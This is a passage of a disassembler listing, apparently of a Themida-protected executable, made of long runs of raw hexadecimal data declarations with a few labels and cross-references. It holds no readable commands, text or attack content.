		dd 50FA8B00h, 28C0Fh, 0F88B0000h, 424448Bh, 8BDF8Bh, 4489B3B7h
		dd 0F560424h, 28Ch, 5BD98A00h, 2D9D8B58h, 29063733h, 3700CD9Dh
		dd 5B858D06h, 0E9063AB1h, 12h, 852AF1Bh, 0BCFB43A9h, 0E88280Fh
		dd 24635815h, 0E950FC4Dh, 9, 62FD1E16h,	8A5C7557h, 24048971h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 70C35040h
		dd 0E70C8FC9h, 0BD8B2ED7h, 637308Dh, 2B2595FFh,	6A0637h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 6B1FABC3h, 344F7070h, 0C5B3BFE7h, 6A61595Eh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 4B53C352h, 112D9EE8h, 9D89331Bh, 63731D9h, 0F8185C7h
		dd 30637h, 9D8B0000h, 6371ACDh,	0B15BBD83h, 0F00063Ah
		dd 2F84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 2D9D8BEAh, 8B063723h, 21E9D8h, 9D890000h
		dd 6370DA1h, 110C3050h,	1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 8BC08B00h, 51006AD9h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0E674D74Dh
		dd 1AF641BDh, 8A0F170Eh, 0Ah, 870F60h, 60000000h, 0BD836161h
		dd 6370F81h, 1A850F03h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0D10BC351h
		dd 532865Ch, 5BBD83F5h,	63AB1h,	3EB840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 73609AC3h, 0BBB8E316h, 79B8A4B6h, 0B15BB5FFh, 8166063Ah
		dd 0FFFD6AEBh, 37335D95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0C8B30BA3h
		dd 3840FCAh, 66000000h,	0B58BD98Bh, 63AB14Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 72C35141h, 0B3608E0Fh
		dd 106C79Fh, 6A000100h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0AB4EC350h,	5800Fh
		dd 0F3BB0000h, 96370B1Bh, 0E563BF66h, 0E9525050h, 0Ah
		dd 56FA2CAFh, 0E029D683h, 310F7BFBh, 6840Fh, 52500000h
		dd 585A310Fh, 6A96585Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 5383C356h, 8166BB5Fh
		dd 0FFED91C7h, 3AB15BB5h, 18D8906h, 0FF063709h,	37183D95h
		dd 919D8B06h, 8B063725h, 3AB14FB5h, 19B52906h, 66063722h
		dd 8B50D8BFh, 3705B585h, 0C212BF06h, 86897D2Bh,	0C4h, 1A498D89h
		dd 0EE90637h, 0FA000000h, 505AD351h, 3D7627Dh, 2DF2F870h
		dd 75958BFDh, 6A063718h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 2812C351h, 3F536395h
		dd 0C2833437h, 8BF88B04h, 371199BDh, 20508906h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 6FC35545h, 0D5858DBAh
		dd 89063AC5h, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 2EEAC6ECh, 9FA8B66h, 371AC185h
		dd 6A006A06h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8B05C355h, 3707399Dh, 89BD8B06h
		dd 0FF06370Ch, 3AB15BB5h, 15950106h, 0FF06370Ah, 370BB995h
		dd 41B53106h, 96063726h, 0CE9h,	0F86DD400h, 7F9187C9h
		dd 0AA87FC9Ah, 0AE850FEh, 0F7000000h, 255CDEF0h, 0B67E54B4h
		dd 0CEC6BF02h, 965B729Ch, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 43C35040h, 0BB6AD111h, 2FCE6A08h, 0B15BB5FFh
		dd 0BB66063Ah, 0E960FC64h, 0Ch,	0C8F03105h, 8654FC81h
		dd 1B4108FAh, 2F918D8Bh, 0FF610637h, 372E4D95h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0F7488F45h, 9D294F7Dh, 6371319h, 19E9BD83h, 0F000637h
		dd 4D84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 1620A875h, 1177682h, 665096F9h, 969CAEBBh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D3C35545h
		dd 901BD89h, 0B5FF0637h, 63AB15Bh, 9AD95FFh, 0BF660637h
		dd 0FFFC715Bh, 3AB15BB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 35BB6670h
		dd 61BD8935h, 0FF06371Ah, 370B7595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8177480Fh
		dd 177844DBh, 3D85895Fh, 0BB063725h, 3BD1DBB5h,	409BD83h
		dd 0F020637h, 4884h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 9B32F482h, 89013348h
		dd 370C7595h, 499D8B06h, 8B063710h, 37117185h, 858B6006h
		dd 6370605h, 61D78B66h,	310000C6h, 372B0595h, 0D585C706h
		dd 63731h, 0B000000h, 37322D9Dh, 0F38BE906h, 0BD89FFFFh
		dd 6371C61h, 8B66C18Bh,	85858DFAh, 6A063708h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 2CEFC350h, 25FC003Ah, 9E95094h, 6A000000h, 0C5061785h
		dd 0F167BDC4h, 89240489h, 3709FD9Dh, 6A006A06h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 2B19C357h, 21B589BDh, 6A06370Dh, 559D8B00h, 89063701h
		dd 372D9D8Dh, 0BF858D06h, 0F063B74h, 685h, 0DD950100h
		dd 8306372Ah, 11E905C0h, 0A1000000h, 0C293F10Ch, 0E419EB38h
		dd 765565h, 0E53097D8h,	0D88B6650h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 0C353C357h, 0DEDAA05Ah, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0BE0BE0C3h
		dd 3972F59Ah, 7E902h, 0B7310000h, 8A4EBED7h, 8B006A1Bh
		dd 3705FD9Dh, 0ED95FF06h, 0E806370Ah, 5
dword_584080	dd 62563BD3h, 4AA4BBC2h, 8D5F65CCh, 3AA1358Dh, 0A1BD8906h
					; DATA XREF: Themida_:0053EAF0o
		dd 0FF06371Eh, 359D8BD1h, 83063710h, 37089DBDh,	850F0106h
		dd 62h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 0A7C35646h, 225D24B3h, 21BD8BD0h, 6A063729h,	53006A02h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 924586C9h, 5FBF6650h, 24048913h, 21F1BD0Bh, 95FF0637h
		dd 6370BB9h, 0EED8529h,	0F0E90637h, 0E800000Ch,	0
		dd 0C9ED815Dh, 8B063B74h, 371B09BDh, 6820F06h, 29000000h
		dd 370A058Dh, 2DBD8906h, 8D06370Bh, 3A84C385h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 4E1E89F9h, 148F0Fh, 0FE90000h, 0EB000000h, 0B7F581F3h
		dd 9CBC7A3Bh, 0E802D62Ah, 0FA8B5EEFh, 8921B350h, 0DE92404h
		dd 0D4000000h, 9E8EE5DCh, 76C749FBh, 0A93C1682h, 35FF64h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B04CC353h, 66B99F32h,	64FEB70Fh
		dd 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 6DD8C6C3h, 26519D0Bh, 24B30637h
		dd 2A7D85FFh, 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 359C9DC3h, 5382F52Ah, 0FF6ADCCCh
		dd 0B5FFFD8Ah, 6372ECDh, 0DE9h,	3EE2E500h, 2D69855Ch, 2B776E2h
		dd 95FF7ABFh, 63700EDh,	0D5E9h,	0ED9D8B00h, 0B006371Ch
		dd 741CBF00h, 70E621D5h, 0C9BD89h, 71E40637h, 89C1E781h
		dd 613C5F90h, 0B0830Fh,	0F98A0000h, 66C8B60Fh, 6613DB81h
		dd 6BAh, 8B78B700h, 4E8C1C1h, 1F919D8Bh, 0F7660637h, 0E18D89E2h
		dd 8906371Dh, 3723B19Dh, 0F9C82B06h, 8166D18Bh,	0E9B97DE7h
		dd 0Ch,	68C0Fh,	85890000h, 637206Dh, 1DF5858Bh,	0BD8B0637h
		dd 6371E69h, 0FC07C083h, 8000C083h, 0D03B03EBh,	11830Fh
		dd 47E90000h, 89000000h, 370BA185h, 0AD9D8B06h,	8B06372Ah
		dd 3706B58Dh, 5850F06h,	50000000h, 5FF88B66h, 0F01E183h
		dd 2184h, 41F38100h, 83092EB1h,	3706B5A5h, 8B66FE06h, 0F59589F9h
		dd 2906371Dh, 3732F9BDh, 0E906h, 0B58D0000h, 63AF66Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E8C35545h
		dd 0F006A0Ah, 8Bh, 1995FF00h, 0E9063732h, 0Eh, 752DBA95h
		dd 10F14B1Ah, 65AADC63h, 78B9FDDBh, 89000008h, 370B25BDh
		dd 0FCE18306h, 405B589h, 8BFC0637h, 372AB9BDh, 6AC02B06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0FE67C353h, 0CD0D16B5h, 0EDBD8BFCh, 2B063716h
		dd 464EBBD2h, 33AD4591h, 3E8D1C2h, 4E983D0h, 9D33F475h
		dd 63730B9h, 9D8B5156h,	6370775h, 880D5F5Bh, 0F5000000h
		dd 1875958Bh, 6A0637h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 3FE764C3h, 878F4A7Bh, 0F9BD8B87h
		dd 8B063711h, 371EA5BDh, 958D8B06h, 6A063711h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 7CF1C350h, 820F7375h, 6, 1BD59D89h, 8B500637h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0F8B70F56h, 52006A5Fh
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0C9B6A744h, 8699D8Bh, 830F0637h, 15h, 10E9h,	5A987500h
		dd 7CC71FF7h, 0B52740F3h, 0EE836E95h, 55BD83F7h, 6372Dh
		dd 7E840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 160424h, 50400000h, 0B9B13C3h, 0B8h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0B4F56CF8h, 2B2FA464h, 372DB99Dh, 0BDBD8B06h, 8D063718h
		dd 374E2B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0FF19C8F8h, 7CBA60E1h, 61180EE2h
		dd 0F81BD83h, 0F000637h, 48684h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BD839A70h
		dd 6370F81h, 77840F01h,	6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 6631C355h
		dd 0EC49EF81h, 0AE8h, 0D5B97C00h, 0FF861363h, 897EEA76h
		dd 370B419Dh, 0BD835B06h, 6370F81h, 0FD860F03h,	0BF000003h
		dd 3F3959A9h, 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 57F0E611h, 8912CDF3h, 372A0195h
		dd 66DF8B06h, 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E29120C3h, 0A6AEE932h, 4E18038h
		dd 2BC99509h, 0C90A0637h, 127840Fh, 8D890000h, 6370739h
		dd 2F45858Bh, 6A0637h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 33D116C3h, 37130185h, 68E0F06h
		dd 8B000000h, 37136D9Dh, 8B665006h, 240489F8h, 1965BD2Bh
		dd 6A0637h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ch,	0D5C35242h, 0AABE1BD6h,	3708501Fh, 4E8h, 1F03FF00h
		dd 50F98B00h, 424448Bh,	0FE860h, 343E0000h, 6B3E2B84h
		dd 0DF894861h, 0F6C2992Fh, 0F525065h, 5A585A31h, 51008B61h
		dd 18A8BB66h, 2444895Fh, 0FA8B6604h, 2595FF58h,	0FC06372Bh
		dd 0B15B8589h, 6A063Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0FFA065C3h, 662D71E0h, 0FF85EB81h
		dd 202E9h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1904h, 0C3504000h, 0DA30A676h, 5E89DCEh, 0C3000000h
		dd 4F072581h, 13E9h, 0DB5F3300h, 28E1E94Fh, 59F43F9Ah
		dd 544E20F0h, 0DFCF2398h, 53858B5Bh, 6A063AB1h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0D64C351h, 588DA0A3h, 958950ABh, 6370A81h, 38D0Fh, 0BF0F0000h
		dd 1800C7DAh, 8B000000h, 3714099Dh, 57B58B06h, 6A063AB1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 9FB2C356h, 66F7B539h, 3035E381h, 8BDBBF0Fh
		dd 370D8D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 6BF4828h,	895F3E1Ch, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 73854E53h, 45858BA5h, 8906372Fh, 372931BDh, 0CE906h
		dd 0F7E50000h, 0B292F890h, 37A02DE7h, 46897EAFh, 0F9BD8B04h
		dd 9606371Bh, 4CBB5150h, 5F7DC01Ch, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8166743Dh
		dd 0FF9625E3h, 3AB153B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 5F507693h
		dd 0E5EAA168h, 8EB66072h, 0DE9h, 9A50A100h, 1B635D57h
		dd 0E16D5F35h, 816119C4h, 0E95E2434h, 0DA8B72FAh, 49C2C6BFh
		dd 5B858D0Dh, 23063AB1h, 3721599Dh, 50529006h, 5F5B57B7h
		dd 0F525050h, 28Dh, 0F616000h, 0CE831h,	0F2A0000h, 0FC695236h
		dd 0E93CD67Ch, 5B564FC0h, 90585A5Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 47C35646h, 5AD43EAAh, 2595FFABh
		dd 6606372Bh, 619EB4BBh, 1B399501h, 0F88B0637h,	0F8185C7h
		dd 30637h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0E227BC3h, 0EBE4376Fh, 66DC3315h
		dd 0BD83FB8Bh, 63AB15Bh, 69840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 5CC7C353h, 0EA599EBCh, 15B3C6B7h,	51ECE381h
		dd 54E96187h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0FDCBC357h,	860F220Dh
		dd 11h,	0CE9h, 5C428500h, 0C34120E9h, 0D0CD99C0h, 0DEBF0F79h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0E9C08B00h
		dd 8, 64F45C7Fh, 0C4C406E4h, 91858B60h,	80063719h, 8361C4D1h
		dd 370F81BDh, 850F0306h, 3FAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 3DC35242h, 10E92223h, 9B000000h
		dd 0FA0D4583h, 873B824Dh, 41C50563h, 83918EAEh,	3AB15BBDh
		dd 840F0006h, 3BAh, 0B15BB5FFh,	6A063Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 662EFBC3h
		dd 95FFFA8Bh, 637335Dh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 8CC35646h, 0E8D29A5Dh, 12h, 0D4B504F0h
		dd 6792D76Bh, 0F30DB41Ch, 4F9B87E3h, 9D2B48A9h,	6371BB1h
		dd 4FB58B5Bh, 81063AB1h, 750996C3h, 72BF6677h, 106C740h
		dd 80000100h, 0F500AE7h, 0D86h,	8E900h,	8F10000h, 58283F1Eh
		dd 3489927Ch, 0DF816624h, 0B5FF685Eh, 63AB15Bh,	3D95FFF9h
		dd 66063718h, 0E67DF81h, 0B14FB58Bh, 6A063Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C444A8C3h
		dd 0B5858B52h, 6A063705h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 1CDEC352h, 0D89D029Dh
		dd 0C486890Ah, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 567BC352h, 9459D8Bh
		dd 8B5B0637h, 37187595h, 99950106h, 83063722h, 6A04C2h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 1B023BC3h, 8B19370Ah, 372D799Dh, 20508906h, 11E956h
		dd 0D35A0000h, 488BCB15h, 484B7303h, 122B4843h,	5BBF5224h
		dd 13ED8D09h, 858D0637h, 63AC5D5h, 0B88689F8h, 60000000h
		dd 0CE9h, 0EA463D00h, 0C3DEA1AEh, 702A0EF7h, 858953B9h
		dd 6372F09h, 6A615Bh, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 1Ah, 0A8C35646h, 4201F8F5h, 81660780h, 0FFA36EC7h
		dd 3AB15BB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0BB2F2A87h, 65636432h, 0BB995FFh
		dd 6A0637h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B589CCC3h, 6373311h, 50525096h, 0F525052h
		dd 0F585A31h, 5A5B5631h, 0BF310F58h, 2B8D406Eh,	0B350585Ah
		dd 8E89633h, 0CE000000h, 5556AD4h, 0E931A2C7h, 0Ch, 58A47F9Bh
		dd 0C247B3B8h, 41841A64h, 5BB5FF5Fh, 0B063AB1h,	370CADBDh
		dd 118D2906h, 0FF06371Ah, 372E4D95h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0BD832013h
		dd 63719E9h, 53840F00h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0F2C352h
		dd 0ABEAC504h, 5196B53Ah, 31EBBB66h, 0F1B7505Fh, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0FC7306EDh, 129DEC2Eh, 0B5FF7F36h, 63AB15Bh,	405BD8Bh
		dd 95FF0637h, 63709ADh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0CCC35747h, 0EEB8ED3Dh, 0F83851Eh, 0FFF88B66h
		dd 3AB15BB5h, 6DBD8B06h, 0FF063705h, 370B7595h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 3DD48716h, 409BD83h,	0F020637h, 4284h, 65BD2300h, 8B063701h
		dd 37117185h, 51BD8B06h, 31063711h, 37208195h, 0C606h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 16C35747h
		dd 0B733F96Bh, 8FE78105h, 0C76CFECFh, 3731D585h, 6, 0C3816600h
		dd 1BE96BEFh, 60FFFFF4h, 6BEA30BAh, 8B61F515h
		db 0C1h
byte_584E01	db 8Bh,	0FBh, 8Dh	; DATA XREF: Themida_:0053D4F4o
		dd 37088585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8BEBB09Bh, 371205BDh, 8E95006h, 0BC000000h
		dd 8AF10547h, 8976BAF4h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 66FE26C3h, 6AFFBF0Fh
		dd 999D3100h, 6A06371Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0FD3A5B3h, 858DFAB7h
		dd 63B8454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0D6C35747h, 6C1DD919h, 8763A9E8h, 0CBBF661Bh, 5C08385h
		dd 7E9h, 84A84900h, 0CC4470DFh,	19B52360h, 0B063719h, 37056195h
		dd 0B3506106h, 24048909h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0A0C35343h, 0B58D2960h, 8B063722h, 372269B5h
		dd 0EE96106h, 0E3000000h, 8A851FC5h, 0FAC4AC00h, 0B4FB7BBEh
		dd 8B006A52h, 6A006ADAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 54AEC350h, 0ABEEEFB8h
		dd 8166781Eh, 0FF115BCFh, 370AED95h
		db 6, 6Ah
word_584F4E	dw 5600h		; DATA XREF: ___:00436834o
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E4E18D4Bh, 1E84B9EDh, 79BD0B43h, 8D063710h,	3AA1358Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 93325CBDh, 13E9h, 4C126300h, 6DDEA323h
		dd 0FD29DD2Ah, 0C092E6D3h, 4FB6B59Eh, 4CBFD1FFh, 897588BEh
		dd 372AF5BDh, 9DBD8306h, 1063708h, 0D5850Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0B26053C3h, 0D775489Dh, 9D3134ECh, 6370D39h,	0C8F0Fh
		dd 860F0000h, 6, 2DC5BD8Bh, 26A0637h, 28F0F60h,	51000000h
		dd 6169B25Eh, 51A6CB81h, 50906E2Ch, 52505752h, 585A310Fh
		dd 0B3310F5Bh, 50585A60h, 8C0Fh, 6A900000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0FDCCC353h
		dd 6AAABB58h, 8B361D6Bh, 3719E5BDh, 0DE906h, 17C90000h
		dd 0E8F2F51Ah, 5EC5C0BFh, 0FFDFAC49h, 370BB995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 80AE1BE6h, 0AD67D933h, 4DB52912h, 0E906371Ch, 0C74h
		dd 0E8h, 0ED815D00h, 63B845Eh, 0A3DB589h, 0BB660637h, 858D0C8Ah
		dd 63A84C3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	4C35040h, 0CE8h, 0DD9E900h, 0A970BA46h,	0F63721DBh
		dd 0EE840h, 0C0330000h,	6049BA29h, 27BAA708h, 0D87DD66Fh
		dd 2F71BD8Bh, 5F5F0637h, 0DE990h, 827E0000h, 0C78155CEh
		dd 7D4815FEh, 50B15CAAh, 0A19D8B90h, 6406370Dh,	35FFh
		dd 89640000h, 25h, 0DDBD8B00h, 0FF06371Ah, 372A7D85h, 0C3816606h
		dd 0FF6ACA3Eh, 1718D89h, 0B5FF0637h, 637139Dh, 3335BD89h
		dd 95FF0637h, 63700EDh,	0FEE9h,	0B0F900h, 0E970E6FCh, 13h
		dd 2C4153ADh, 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 0E4334521h
		dd 0F613C71h, 0D683h, 0D1950100h, 0F063728h, 830FC8B6h
		dd 2, 6BAFD8Ah,	66000000h, 5A65CB81h, 0BE9C18Bh, 0C2000000h
		dd 0C79C471Dh, 0EC815893h, 0E8C1263Eh, 0BD8B5104h, 6373369h
		dd 0E2F7665Fh, 8AB3C82Bh, 8D29D18Bh, 6372381h, 12E9h, 0DE900h
		dd 8250000h, 4610EE72h,	40A20487h, 8B9482BCh, 370F1D85h
		dd 7C08306h, 0E58D0960h, 8B063717h, 3722499Dh, 0C0836106h
		dd 3ABB6600h, 0FD03BB0h, 1183h,	0E1858900h, 0E906370Bh
		dd 47h,	2AE19D8Bh, 8D8B0637h, 6372E9Dh,	32DD9D23h, 0E1830637h
		dd 2C840F01h, 0E8000000h, 7, 0AD435BD2h, 5BBD5C56h, 2E9DA583h
		dd 0F9FE0637h, 0D399D89h, 95890637h, 6370F1Dh, 1741BD8Bh
		dd 0E90637h, 8D000000h,	3B00F5B5h, 0E4F78106h, 6A1C789Ch
		dd 13E900h, 4DAE0000h, 0E9EAB6Eh, 96D8C9D3h, 5DADA8F8h
		dd 0ECA2B831h, 0FFDF8B51h, 37321995h, 0BE806h, 0BBF70000h
		dd 34A6B2EBh, 0F17A48Ch, 3D9D015Dh, 5B06371Ch, 85FB9h
		dd 83F98A00h, 6AFCE1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 568B19C3h, 162BDC72h, 8B66F96Bh
		dd 6AFCD9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0B0E651C3h, 0CC9EF94Ch, 0FFFD439h, 889h
		dd 2830F00h, 60000000h,	0FD9D0B61h, 2B063700h, 0F19D2BC0h
		dd 2B063707h, 57006AD2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0B8CDF19Eh, 53755C4Eh, 69CF8069h
		dd 1FCDB589h, 33AD0637h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 8A85C3h, 0BEFAC4ACh,	9860F7Bh, 0F000000h, 38Ch, 0DBB70F00h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 15C35545h
		dd 8DBDFADDh, 0D1600813h, 0FD9D8BCBh, 66063712h, 880DD98Bh
		dd 31000000h, 37218D8Dh, 75958B06h, 6A063718h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 6752C356h, 0FC6DDC5Ch, 11958D8Bh, 6A0637h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0ABDA27C3h
		dd 0CB4FEDCAh, 0E984C3E5h, 9, 7F229248h, 0C7A27525h, 0C28B5049h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8196C355h, 5A01E5EFh, 56006A31h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 0B156B805h, 0F9B70F2Ch
		dd 2D55BD83h, 0F000637h, 6584h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 19C58D67h
		dd 0B8h, 0B8C0F00h, 0E9000000h,	6, 3D0AF920h, 8D8D73CBh
		dd 6374E2Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	79C35141h, 1CCFCABDh, 0B8B18A9Ch, 0E1FFD88Bh, 0BD83FE8Bh
		dd 6370F81h, 0D9840F00h, 6A000003h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B198C356h
		dd 200853DEh, 81BD8336h, 106370Fh, 3C5840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0E5033AC3h, 1F1EA4Bh, 37233595h, 81BD8306h, 306370Fh
		dd 35B860Fh, 85290000h,	6370F25h, 13E9h, 0EF287C00h, 0E9A8541Eh
		dd 0EC70B744h, 55745CFFh, 0CAF145EFh, 52006A60h, 3E8h
